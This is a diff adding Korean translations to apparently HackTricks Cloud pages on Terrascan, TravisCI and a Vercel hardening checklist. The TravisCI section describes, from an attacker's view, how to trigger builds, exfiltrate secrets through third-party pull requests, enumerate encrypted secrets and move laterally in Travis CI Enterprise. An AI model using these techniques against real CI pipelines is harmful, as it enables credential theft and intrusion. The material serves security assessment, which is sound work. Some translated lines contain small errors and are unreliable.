- Detect security vulnerabilities and compliance violations.
- Mitigate risks before provisioning cloud native infrastructure.
- Offers flexibility to run locally or integrate with your CI\CD.
From the [**docs**](https://github.com/tenable/terrascan): Terrascan은 Infrastructure as Code를 위한 정적 코드 분석기입니다. Terrascan을 사용하면 다음을 할 수 있습니다:
- Infrastructure as Code의 잘못된 구성(misconfigurations)을 원활하게 스캔합니다.
- 프로비저닝된 클라우드 인프라에서 보안 태세 변동을 유발하는 구성 변경을 모니터링하고, 안전한 태세로 되돌릴 수 있게 합니다.
- 보안 취약점과 컴플라이언스 위반을 감지합니다.
- 클라우드 네이티브 인프라를 프로비저닝하기 전에 위험을 완화합니다.
- 로컬에서 실행하거나 CI\CD와 통합할 수 있는 유연성을 제공합니다.
```bash
brew install terrascan
```
## References
## 참고자료
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)

View File

@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
공격자의 관점에서 이러한 플랫폼을 (악용)하는 방법을 설명하는 Github PR을 환영합니다.
- Drone
- TeamCity
@@ -11,9 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke
- Rancher
- Mesosphere
- Radicle
- Any other CI/CD platform...
- 기타 CI/CD 플랫폼...
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,68 +1,65 @@
# TravisCI Security
# TravisCI 보안
{{#include ../../banners/hacktricks-training.md}}
## What is TravisCI
## TravisCI란?
**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
**Travis CI**는 여러 **다양한 git 플랫폼**에 호스팅된 소프트웨어 프로젝트를 빌드하고 테스트하는 데 사용되는 **호스팅** 또는 **온프레미스** **지속적 통합** 서비스입니다.
{{#ref}}
basic-travisci-information.md
{{#endref}}
## Attacks
## 공격
### Triggers
### 트리거
To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
공격을 시작하려면 먼저 빌드를 트리거하는 방법을 알아야 합니다. 기본적으로 TravisCI는 **푸시 및 풀 리퀘스트에서 빌드를 트리거**합니다:
![](<../../images/image (145).png>)
#### Cron Jobs
#### 크론 작업
If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
웹 애플리케이션에 접근할 수 있다면 **빌드를 실행하기 위해 크론을 설정**할 수 있습니다. 이는 지속성을 위해 유용하거나 빌드를 트리거하는 데 사용할 수 있습니다:
![](<../../images/image (243).png>)
> [!NOTE]
> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
> [이](https://github.com/travis-ci/travis-ci/issues/9162) 에 따르면 `.travis.yml` 내에서 크론을 설정하는 것은 불가능한 것 같습니다.
### Third Party PR
### 제3자 PR
TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
TravisCI는 기본적으로 제3자에서 오는 PR과 환경 변수를 공유하는 것을 비활성화하지만, 누군가 이를 활성화하면 리포지토리에 PR을 생성하고 비밀을 유출할 수 있습니다:
![](<../../images/image (208).png>)
### Dumping Secrets
### 비밀 덤프
As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
[**기본 정보**](basic-travisci-information.md) 페이지에서 설명한 바와 같이, 비밀에는 2가지 유형이 있습니다. **환경 변수 비밀**(웹 페이지에 나열됨)과 **사용자 정의 암호화된 비밀**이 있으며, 이는 `.travis.yml` 파일 내에 base64로 저장됩니다(두 가지 모두 암호화되어 저장되면 최종 머신의 환경 변수로 끝납니다).
- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
- **환경 변수**로 구성된 **비밀을 나열**하려면 **프로젝트**의 **설정**으로 가서 목록을 확인하십시오. 그러나 여기에서 설정된 모든 프로젝트 환경 변수는 빌드를 트리거할 때 나타납니다.
- **사용자 정의 암호화된 비밀**을 나열하려면 **`.travis.yml` 파일**을 확인하는 것이 최선입니다.
- **암호화된 파일**을 나열하려면 리포지토리에서 **`.enc` 파일**을 확인하거나, 구성 파일에서 `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d`와 유사한 줄을 찾거나, **환경 변수**에서 **암호화된 iv 및 키**를 확인할 수 있습니다:
![](<../../images/image (81).png>)
### TODO:
- Example build with reverse shell running on Windows/Mac/Linux
- Example build leaking the env base64 encoded in the logs
- Windows/Mac/Linux에서 리버스 셸이 실행되는 예제 빌드
- 로그에 base64로 인코딩된 env를 유출하는 예제 빌드
### TravisCI Enterprise
### TravisCI 엔터프라이즈
If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
공격자가 **TravisCI 엔터프라이즈**를 사용하는 환경에 도달하면(자세한 내용은 [**기본 정보**](basic-travisci-information.md#travisci-enterprise) 참조), 그는 **Worker에서 빌드를 트리거**할 수 있습니다. 이는 공격자가 해당 서버로 수평 이동할 수 있음을 의미하며, 그로부터 다음을 수행할 수 있습니다:
- escape to the host?
- compromise kubernetes?
- compromise other machines running in the same network?
- compromise new cloud credentials?
- 호스트로 탈출할 수 있습니까?
- 쿠버네티스를 손상시킬 수 있습니까?
- 동일한 네트워크에서 실행 중인 다른 머신을 손상시킬 수 있습니까?
- 새로운 클라우드 자격 증명을 손상시킬 수 있습니까?
## References
## 참고자료
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,45 +4,42 @@
## Access
TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
TravisCI Github, Bitbucket, Assembla Gitlab과 같은 다양한 git 플랫폼과 직접 통합됩니다. 사용자는 TravisCI가 통합하고자 하는 리포지토리에 접근할 수 있는 권한을 부여하라는 요청을 받습니다.
For example, in Github it will ask for the following permissions:
예를 들어, Github에서는 다음과 같은 권한을 요청합니다:
- `user:email` (read-only)
- `read:org` (read-only)
- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
- `user:email` (읽기 전용)
- `read:org` (읽기 전용)
- `repo`: 공개 및 비공식 리포지토리와 조직에 대한 코드, 커밋 상태, 협력자 및 배포 상태에 대한 읽기 및 쓰기 접근을 부여합니다.
## Encrypted Secrets
### Environment Variables
In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
TravisCI에서는 다른 CI 플랫폼과 마찬가지로 **리포지토리 수준에서 비밀을 저장**할 수 있으며, 이는 암호화되어 저장되고 **빌드를 실행하는 머신의 환경 변수에 복호화되어 푸시됩니다**.
![](<../../images/image (203).png>)
It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
**비밀이 사용 가능한 브랜치**를 지정할 수 있으며(기본값은 모두) TravisCI가 **로그에 나타날 경우 그 값을 숨겨야 하는지** 여부도 설정할 수 있습니다(기본값은 숨김).
### Custom Encrypted Secrets
For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repositorys **public key available** to those who have **access** to the repository.
You can access the public key of one repo with:
**리포지토리**에 대해 TravisCI는 **RSA 키 쌍**을 생성하고, **개인 키**를 보관하며, 리포지토리에 **접근할 수 있는 사람들에게** 리포지토리의 **공개 키를 제공합니다**.
하나의 리포지토리의 공개 키에 접근하려면:
```
travis pubkey -r <owner>/<repo_name>
travis pubkey -r carlospolop/t-ci-test
```
Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
그런 다음, 이 설정을 사용하여 **비밀을 암호화하고 이를 `.travis.yaml`에 추가할 수 있습니다**. 비밀은 **빌드가 실행될 때 복호화되며** **환경 변수**에서 접근할 수 있습니다.
![](<../../images/image (139).png>)
Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
이렇게 암호화된 비밀은 설정의 환경 변수 목록에 나타나지 않는다는 점에 유의하세요.
### Custom Encrypted Files
Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
### 사용자 정의 암호화 파일
이전과 같은 방식으로, TravisCI는 **파일을 암호화한 다음 빌드 중에 복호화할 수 있도록 허용합니다**:
```
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
@@ -52,7 +49,7 @@ storing secure env variables for decryption
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
Pro Tip: You can add it automatically by running with --add.
@@ -60,36 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository.
Make sure not to add super_secret.txt to the git repository.
Commit all changes to your .travis.yml.
```
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
파일을 암호화할 때 2개의 환경 변수가 리포지토리 내에 구성됩니다:
![](<../../images/image (170).png>)
## TravisCI Enterprise
Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the server version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
Travis CI Enterprise**Travis CI의 온프레미스 버전**으로, **귀하의 인프라에 배포할 수 있습니다**. Travis CI의 '서버' 버전이라고 생각하십시오. Travis CI를 사용하면 원하는 대로 구성하고 보안할 수 있는 환경에서 사용하기 쉬운 지속적 통합/지속적 배포(CI/CD) 시스템을 활성화할 수 있습니다.
**Travis CI Enterprise consists of two major parts:**
**Travis CI Enterprise는 두 가지 주요 부분으로 구성됩니다:**
1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
2. TCI **Worker** and build environment images (also called OS images).
1. TCI **서비스**(또는 TCI Core Services), 버전 관리 시스템과의 통합, 빌드 승인, 빌드 작업 예약 등을 담당합니다.
2. TCI **Worker** 및 빌드 환경 이미지(운영 체제 이미지라고도 함).
**TCI Core services require the following:**
**TCI Core 서비스는 다음을 요구합니다:**
1. A **PostgreSQL11** (or later) database.
2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
1. **PostgreSQL11**(또는 이후 버전) 데이터베이스.
2. Kubernetes 클러스터를 배포할 인프라; 필요에 따라 서버 클러스터 또는 단일 머신에 배포할 수 있습니다.
3. 설정에 따라 일부 구성 요소를 직접 배포하고 구성할 수 있습니다. 예: RabbitMQ - 자세한 내용은 [Travis CI Enterprise 설정](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/)을 참조하십시오.
**TCI Worker requires the following:**
**TCI Worker는 다음을 요구합니다:**
1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
1. **Worker와 연결된 빌드 이미지를 포함하는 도커 이미지를 배포할 수 있는 인프라**.
2. 특정 Travis CI Core Services 구성 요소에 대한 연결성 - 자세한 내용은 [Worker 설정](https://docs.travis-ci.com/user/enterprise/setting-up-worker/)을 참조하십시오.
The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
배포된 TCI Worker 및 빌드 환경 OS 이미지의 수는 귀하의 인프라에서 Travis CI Enterprise 배포의 총 동시 용량을 결정합니다.
![](<../../images/image (199).png>)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,439 +2,436 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
Vercel에서 **팀**은 클라이언트에 속한 전체 **환경**이며, **프로젝트**는 **애플리케이션**입니다.
For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
**Vercel**의 보안 강화를 검토하려면 **Viewer 역할 권한**이 있는 사용자에게 요청하거나, 최소한 **프로젝트 뷰어 권한**을 요청하여 프로젝트를 확인해야 합니다(팀 구성도 확인할 필요가 없는 경우).
## Project Settings
## 프로젝트 설정
### General
### 일반
**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
**목적:** 프로젝트 이름, 프레임워크 및 빌드 구성과 같은 기본 프로젝트 설정을 관리합니다.
#### Security Configurations:
#### 보안 구성:
- **Transfer**
- **Misconfiguration:** Allows to transfer the project to another team
- **Risk:** An attacker could steal the project
- **Delete Project**
- **Misconfiguration:** Allows to delete the project
- **Risk:** Delete the prject
- **전송**
- **잘못된 구성:** 프로젝트를 다른 팀으로 전송할 수 있습니다.
- **위험:** 공격자가 프로젝트를 훔칠 수 있습니다.
- **프로젝트 삭제**
- **잘못된 구성:** 프로젝트를 삭제할 수 있습니다.
- **위험:** 프로젝트가 삭제됩니다.
---
### Domains
### 도메인
**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
**목적:** 사용자 정의 도메인, DNS 설정 및 SSL 구성을 관리합니다.
#### Security Configurations:
#### 보안 구성:
- **DNS Configuration Errors**
- **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
- **Risk:** Domain hijacking, traffic interception, and phishing attacks.
- **SSL/TLS Certificate Management**
- **Misconfiguration:** Using weak or expired SSL/TLS certificates.
- **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
- **DNSSEC Implementation**
- **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
- **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
- **Environment used per domain**
- **Misconfiguration:** Change the environment used by the domain in production.
- **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
- **DNS 구성 오류**
- **잘못된 구성:** 악성 서버를 가리키는 잘못된 DNS 레코드(A, CNAME).
- **위험:** 도메인 탈취, 트래픽 가로채기 및 피싱 공격.
- **SSL/TLS 인증서 관리**
- **잘못된 구성:** 약하거나 만료된 SSL/TLS 인증서를 사용합니다.
- **위험:** 중간자(MITM) 공격에 취약해져 데이터 무결성과 기밀성이 손상될 수 있습니다.
- **DNSSEC 구현**
- **잘못된 구성:** DNSSEC를 활성화하지 않거나 잘못된 DNSSEC 설정.
- **위험:** DNS 스푸핑 및 캐시 오염 공격에 대한 취약성이 증가합니다.
- **도메인별 사용 환경**
- **잘못된 구성:** 프로덕션에서 도메인에 사용되는 환경을 변경합니다.
- **위험:** 프로덕션에서 사용해서는 안 되는 잠재적인 비밀이나 기능이 노출될 수 있습니다.
---
### Environments
### 환경
**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
**목적:** 특정 설정 및 변수를 가진 다양한 환경(개발, 미리보기, 프로덕션)을 정의합니다.
#### Security Configurations:
#### 보안 구성:
- **Environment Isolation**
- **Misconfiguration:** Sharing environment variables across environments.
- **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
- **Access to Sensitive Environments**
- **Misconfiguration:** Allowing broad access to production environments.
- **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
- **환경 격리**
- **잘못된 구성:** 환경 간에 환경 변수를 공유합니다.
- **위험:** 프로덕션 비밀이 개발 또는 미리보기 환경으로 유출되어 노출이 증가합니다.
- **민감한 환경에 대한 접근**
- **잘못된 구성:** 프로덕션 환경에 대한 광범위한 접근을 허용합니다.
- **위험:** 무단 변경 또는 라이브 애플리케이션에 대한 접근이 가능해져 잠재적인 다운타임이나 데이터 유출로 이어질 수 있습니다.
---
### Environment Variables
### 환경 변수
**Purpose:** Manage environment-specific variables and secrets used by the application.
**목적:** 애플리케이션에서 사용하는 환경별 변수 및 비밀을 관리합니다.
#### Security Configurations:
#### 보안 구성:
- **Exposing Sensitive Variables**
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
- **Sensitive disabled**
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
- **Shared Environment Variables**
- **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
- **민감한 변수 노출**
- **잘못된 구성:** 민감한 변수를 `NEXT_PUBLIC_`로 접두어를 붙여 클라이언트 측에서 접근 가능하게 만듭니다.
- **위험:** API 키, 데이터베이스 자격 증명 또는 기타 민감한 데이터가 공개되어 데이터 유출로 이어질 수 있습니다.
- **민감한 비활성화**
- **잘못된 구성:** 비활성화된 경우(기본값) 생성된 비밀의 값을 읽을 수 있습니다.
- **위험:** 민감한 정보의 우발적 노출 또는 무단 접근 가능성이 증가합니다.
- **공유 환경 변수**
- **잘못된 구성:** 팀 수준에서 설정된 환경 변수로, 민감한 정보를 포함할 수 있습니다.
- **위험:** 민감한 정보의 우발적 노출 또는 무단 접근 가능성이 증가합니다.
---
### Git
**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
**목적:** Git 리포지토리 통합, 브랜치 보호 및 배포 트리거를 구성합니다.
#### Security Configurations:
#### 보안 구성:
- **Ignored Build Step (TODO)**
- **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
- **Risk:** TBD
- **무시된 빌드 단계 (TODO)**
- **잘못된 구성:** 이 옵션은 새로운 커밋이 GitHub에 푸시될 때 실행될 bash 스크립트/명령을 구성할 수 있는 것처럼 보이며, 이는 RCE를 허용할 수 있습니다.
- **위험:** TBD
---
### Integrations
### 통합
**Purpose:** Connect third-party services and tools to enhance project functionalities.
**목적:** 프로젝트 기능을 향상시키기 위해 타사 서비스 및 도구를 연결합니다.
#### Security Configurations:
#### 보안 구성:
- **Insecure Third-Party Integrations**
- **Misconfiguration:** Integrating with untrusted or insecure third-party services.
- **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
- **Over-Permissioned Integrations**
- **Misconfiguration:** Granting excessive permissions to integrated services.
- **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
- **Lack of Integration Monitoring**
- **Misconfiguration:** Failing to monitor and audit third-party integrations.
- **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
- **불안전한 타사 통합**
- **잘못된 구성:** 신뢰할 수 없거나 불안전한 타사 서비스와 통합합니다.
- **위험:** 취약점, 데이터 유출 또는 손상된 통합을 통한 백도어 도입.
- **과도한 권한 부여 통합**
- **잘못된 구성:** 통합 서비스에 과도한 권한을 부여합니다.
- **위험:** 프로젝트 리소스에 대한 무단 접근, 데이터 조작 또는 서비스 중단.
- **통합 모니터링 부족**
- **잘못된 구성:** 타사 통합을 모니터링 및 감사하지 않습니다.
- **위험:** 손상된 통합의 지연된 탐지로 인해 보안 위반의 잠재적 영향이 증가합니다.
---
### Deployment Protection
### 배포 보호
**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
**목적:** 다양한 보호 메커니즘을 통해 배포를 안전하게 하고, 누가 환경에 접근하고 배포할 수 있는지를 제어합니다.
#### Security Configurations:
#### 보안 구성:
**Vercel Authentication**
**Vercel 인증**
- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
- **잘못된 구성:** 인증을 비활성화하거나 팀원 확인을 시행하지 않습니다.
- **위험:** 무단 사용자가 배포에 접근할 수 있어 데이터 유출 또는 애플리케이션 오용으로 이어질 수 있습니다.
**Protection Bypass for Automation**
**자동화를 위한 보호 우회**
- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
- **잘못된 구성:** 우회 비밀을 공개적으로 노출하거나 약한 비밀을 사용합니다.
- **위험:** 공격자가 배포 보호를 우회하여 보호된 배포에 접근하고 조작할 수 있습니다.
**Shareable Links**
**공유 가능한 링크**
- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
- **잘못된 구성:** 링크를 무차별적으로 공유하거나 오래된 링크를 철회하지 않습니다.
- **위험:** 보호된 배포에 대한 무단 접근, 인증 및 IP 제한 우회.
**OPTIONS Allowlist**
**OPTIONS 허용 목록**
- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
- **잘못된 구성:** 지나치게 광범위한 경로 또는 민감한 엔드포인트를 허용 목록에 추가합니다.
- **위험:** 공격자가 보호되지 않은 경로를 악용하여 무단 작업을 수행하거나 보안 검사를 우회할 수 있습니다.
**Password Protection**
**비밀번호 보호**
- **Misconfiguration:** Using weak passwords or sharing them insecurely.
- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
- **잘못된 구성:** 약한 비밀번호를 사용하거나 안전하지 않게 공유합니다.
- **위험:** 비밀번호가 추측되거나 유출될 경우 배포에 대한 무단 접근이 가능해집니다.
- **참고:** **Pro** 요금제에서 **고급 배포 보호**의 일환으로 추가 $150/월에 제공됩니다.
**Deployment Protection Exceptions**
**배포 보호 예외**
- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
- **잘못된 구성:** 실수로 프로덕션 또는 민감한 도메인을 예외 목록에 추가합니다.
- **위험:** 중요한 배포가 공개되어 데이터 유출 또는 무단 접근으로 이어질 수 있습니다.
- **참고:** **Pro** 요금제에서 **고급 배포 보호**의 일환으로 추가 $150/월에 제공됩니다.
**Trusted IPs**
**신뢰할 수 있는 IP**
- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
- **Note:** Available on the **Enterprise** plan.
- **잘못된 구성:** IP 주소 또는 CIDR 범위를 잘못 지정합니다.
- **위험:** 합법적인 사용자가 차단되거나 무단 IP가 접근할 수 있습니다.
- **참고:** **Enterprise** 요금제에서 제공됩니다.
---
### Functions
### 함수
**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
**목적:** 런타임 설정, 메모리 할당 및 보안 정책을 포함한 서버리스 함수를 구성합니다.
#### Security Configurations:
#### 보안 구성:
- **Nothing**
- **없음**
---
### Data Cache
### 데이터 캐시
**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
**목적:** 성능을 최적화하고 데이터 저장을 제어하기 위해 캐싱 전략 및 설정을 관리합니다.
#### Security Configurations:
#### 보안 구성:
- **Purge Cache**
- **Misconfiguration:** It allows to delete all the cache.
- **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
- **캐시 삭제**
- **잘못된 구성:** 모든 캐시를 삭제할 수 있습니다.
- **위험:** 무단 사용자가 캐시를 삭제하여 잠재적인 서비스 거부(DoS)를 초래할 수 있습니다.
---
### Cron Jobs
### 크론 작업
**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
**목적:** 지정된 간격으로 자동화된 작업 및 스크립트를 예약합니다.
#### Security Configurations:
#### 보안 구성:
- **Disable Cron Job**
- **Misconfiguration:** It allows to disable cron jobs declared inside the code
- **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
- **크론 작업 비활성화**
- **잘못된 구성:** 코드 내에서 선언된 크론 작업을 비활성화할 수 있습니다.
- **위험:** 서비스 중단의 잠재적 가능성(크론 작업의 목적에 따라 다름).
---
### Log Drains
### 로그 드레인
**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
**목적:** 모니터링 및 감사를 위해 애플리케이션 로그를 캡처하고 저장하기 위해 외부 로깅 서비스를 구성합니다.
#### Security Configurations:
#### 보안 구성:
- Nothing (managed from teams settings)
- 없음 (팀 설정에서 관리됨)
---
### Security
### 보안
**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
**목적:** 프로젝트 접근, 소스 보호 등 다양한 보안 관련 설정을 위한 중앙 허브입니다.
#### Security Configurations:
#### 보안 구성:
**Build Logs and Source Protection**
**빌드 로그 및 소스 보호**
- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
- **잘못된 구성:** 보호를 비활성화하거나 `/logs` `/src` 경로를 공개적으로 노출합니다.
- **위험:** 빌드 로그 및 소스 코드에 대한 무단 접근이 가능해져 정보 유출 및 잠재적 취약점 악용으로 이어질 수 있습니다.
**Git Fork Protection**
**Git 포크 보호**
- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
- **잘못된 구성:** 적절한 검토 없이 무단 풀 요청을 허용합니다.
- **위험:** 악의적인 코드가 코드베이스에 병합되어 취약점이나 백도어를 도입할 수 있습니다.
**Secure Backend Access with OIDC Federation**
**OIDC 연합을 통한 안전한 백엔드 접근**
- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
- **Risk:** Unauthorized access to backend services through flawed authentication flows.
- **잘못된 구성:** OIDC 매개변수를 잘못 설정하거나 안전하지 않은 발급자 URL을 사용합니다.
- **위험:** 결함 있는 인증 흐름을 통해 백엔드 서비스에 대한 무단 접근이 가능해집니다.
**Deployment Retention Policy**
**배포 보존 정책**
- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
- **잘못된 구성:** 보존 기간을 너무 짧게 설정(배포 기록 손실)하거나 너무 길게 설정(불필요한 데이터 보존).
- **위험:** 필요할 때 롤백을 수행할 수 없거나 이전 배포로부터 데이터 노출 위험이 증가합니다.
**Recently Deleted Deployments**
**최근 삭제된 배포**
- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
- **잘못된 구성:** 삭제된 배포를 모니터링하지 않거나 자동 삭제에만 의존합니다.
- **위험:** 중요한 배포 기록 손실로 인해 감사 및 롤백이 방해받을 수 있습니다.
---
### Advanced
### 고급
**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
**목적:** 구성 조정 및 보안을 강화하기 위한 추가 프로젝트 설정에 접근합니다.
#### Security Configurations:
#### 보안 구성:
**Directory Listing**
**디렉토리 목록**
- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
- **잘못된 구성:** 디렉토리 목록을 활성화하면 사용자가 인덱스 파일 없이 디렉토리 내용을 볼 수 있습니다.
- **위험:** 민감한 파일, 애플리케이션 구조 및 공격의 잠재적 진입점이 노출됩니다.
---
## Project Firewall
## 프로젝트 방화벽
### Firewall
### 방화벽
#### Security Configurations:
#### 보안 구성:
**Enable Attack Challenge Mode**
**공격 도전 모드 활성화**
- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
- **Risk:** Potential user experience problems.
- **잘못된 구성:** 이를 활성화하면 DoS에 대한 웹 애플리케이션의 방어력이 향상되지만 사용성의 대가가 따릅니다.
- **위험:** 잠재적인 사용자 경험 문제.
### Custom Rules & IP Blocking
### 사용자 정의 규칙 및 IP 차단
- **Misconfiguration:** Allows to unblock/block traffic
- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
- **잘못된 구성:** 트래픽을 차단/차단할 수 있습니다.
- **위험:** 악성 트래픽을 허용하거나 정상 트래픽을 차단하여 잠재적인 DoS를 초래할 수 있습니다.
---
## Project Deployment
## 프로젝트 배포
### Source
### 소스
- **Misconfiguration:** Allows access to read the complete source code of the application
- **Risk:** Potential exposure of sensitive information
- **잘못된 구성:** 애플리케이션의 전체 소스 코드를 읽을 수 있는 접근을 허용합니다.
- **위험:** 민감한 정보의 잠재적 노출.
### Skew Protection
### 스큐 보호
- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
